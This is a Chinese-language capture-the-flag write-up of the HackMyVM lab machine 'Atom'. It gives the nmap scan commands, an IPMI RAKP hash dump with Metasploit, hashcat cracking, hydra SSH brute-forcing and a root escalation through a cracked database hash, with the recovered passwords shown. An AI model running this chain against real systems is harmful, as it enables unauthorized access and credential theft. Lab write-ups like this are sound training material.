简介
靶机名称：Atom
难度：简单
靶场地址：https://hackmyvm.eu/machines/machine.php?vm=Atom
本地环境
虚拟机：vitual box
靶场IP（Atom）：192.168.56.101
跳板机IP(windows 11)：192.168.56.1 192.168.190.100
渗透机IP(kali)：192.168.190.131
扫描
nmap -Pn -sT -p0- 192.168.56.101 --min-rate=10000 -oA nmapscan/ports ;ports=$(grep open ./nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',');echo $ports >> nmapscan/tcp_ports;
sudo nmap -sT -sV -sC -O -p$ports 192.168.56.101 -oA nmapscan/detail
Host is up (0.0011s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 e7:ce:f2:f6:5d:a7:47:5a:16:2f:90:07:07:33:4e:a9 (ECDSA)
|_ 256 09:db:b7:e8:ee:d4:52:b8:49:c3:cc:29:a5:6e:07:35 (ED25519)
25/tcp open tcpwrapped
|_smtp-commands: Couldn't establish connection on port 25
110/tcp open tcpwrapped
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP|general purpose
Running: Actiontec embedded, Linux 2.4.X
OS CPE: cpe:/h:actiontec:mi424wr-gen3i cpe:/o:linux:linux_kernel cpe:/o:linux:linux_kernel:2.4.37
OS details: Actiontec MI424WR-GEN3I WAP, DD-WRT v24-sp2 (Linux 2.4.37)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.44 seconds
感觉有点不对经，再加个udp扫描
sudo nmap -sU --min-rate=10000 -p0- 192.168.56.101/32 -oA nmapscan/udp ;ports_udp=$(grep open ./nmapscan/udp.nmap | awk -F '/' '{print $1}' | paste -sd ',');echo $ports_udp >> nmapscan/udp_ports;
sudo nmap -sU -sV -sC -p$ports_udp 192.168.56.101/32 -oA nmapscan/detail_udp
PORT STATE SERVICE VERSION
623/udp open asf-rmcp
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port623-UDP:V=7.94SVN%I=7%D=7/20%Time=669B668D%P=x86_64-pc-linux-gnu%r(
SF:ipmi-rmcp,1E,"\x06\0\xff\x07\0\0\0\0\0\0\0\0\0\x10\x81\x1cc\x20\x008\0\
SF:x01\x97\x04\x03\0\0\0\0\t");
开启了一个rmcp服务，HackTricks上有专门讲这个服务的文章
https://book.hacktricks.xyz/network-services-pentesting/623-udp-ipmi
IPMI
利用点就是623端口。IPMI是智能型平台管理接口（Intelligent Platform Management Interface）的缩写，是管理基于Intel结构的企业系统中所使用的外围设备采用的一种工业标准。这个协议在十年前爆出过 IPMI v2.0密码哈希泄露漏洞，主要是IPMI2.0协议支持RMCP+机制引入导致，远程攻击者可以将HDM响应的RAKP包中密码的哈希值抓取，从而实施离线口令猜测攻击。
我们可以使用msf的auxiliary/scanner/ipmi/ipmi_dumphashes模块进行攻击。这里记得设置自己的用户名字典和导出哈希文件，方便后续爆破。
哪怕以hashcat格式输出还是没办法直接送进hashcat去爆……稍微处理一下，把hash摘出来
cat hashes | cut -d ":" -f 2- > hash_res
这个hash不是linux的hash值，是IPMI2的特有格式hash，能在hashcat中搜到。
hashcat -a 0 -m 7300 ./hash_res $HVV_Tool/8_dict/kali.txt --outfile-format 2 --force --show > hash_res
爆出来结果为
cukorborso
honda
TWEETY1
290992
jesus06
2468
122987
milo123
dezzy
tripod
chatroom
evan
071590
081704
number17
numberone
billandben
emeralds
trick1
241107
mackenzie2
jiggaman
phones
515253
jaffa1
darell
djones
batman!
090506
kittyboo
me4life
castillo1
sexymoma
10101979
poynter
120691
最后和用户名进行合并即可
cat hashes | grep -Po "(?= ).+?(?=:)" | sed "s/^[ \t]*//;s/[ \t]*$//" > username; paste -d: username ./hash_res > ssh_dic
ssh爆破
使用hydra爆破即可
hydra -t 8 -s 22 -C ./ssh_dic 192.168.56.101 ssh
得到账密为onida:jiggaman
连接，得到user.txt
提权
有一个网站，端口监听回环地址。本来我还打算用ssh开个转发，然后发现数据库就在旁边。
脱下来，直接找到账密
hashcat爆破
hashcat -a 0 -m 3200 ./hash2 $HVV_Tool/8_dict/kali.txt --force
madison
su root，输入该密码，提权成功
结束
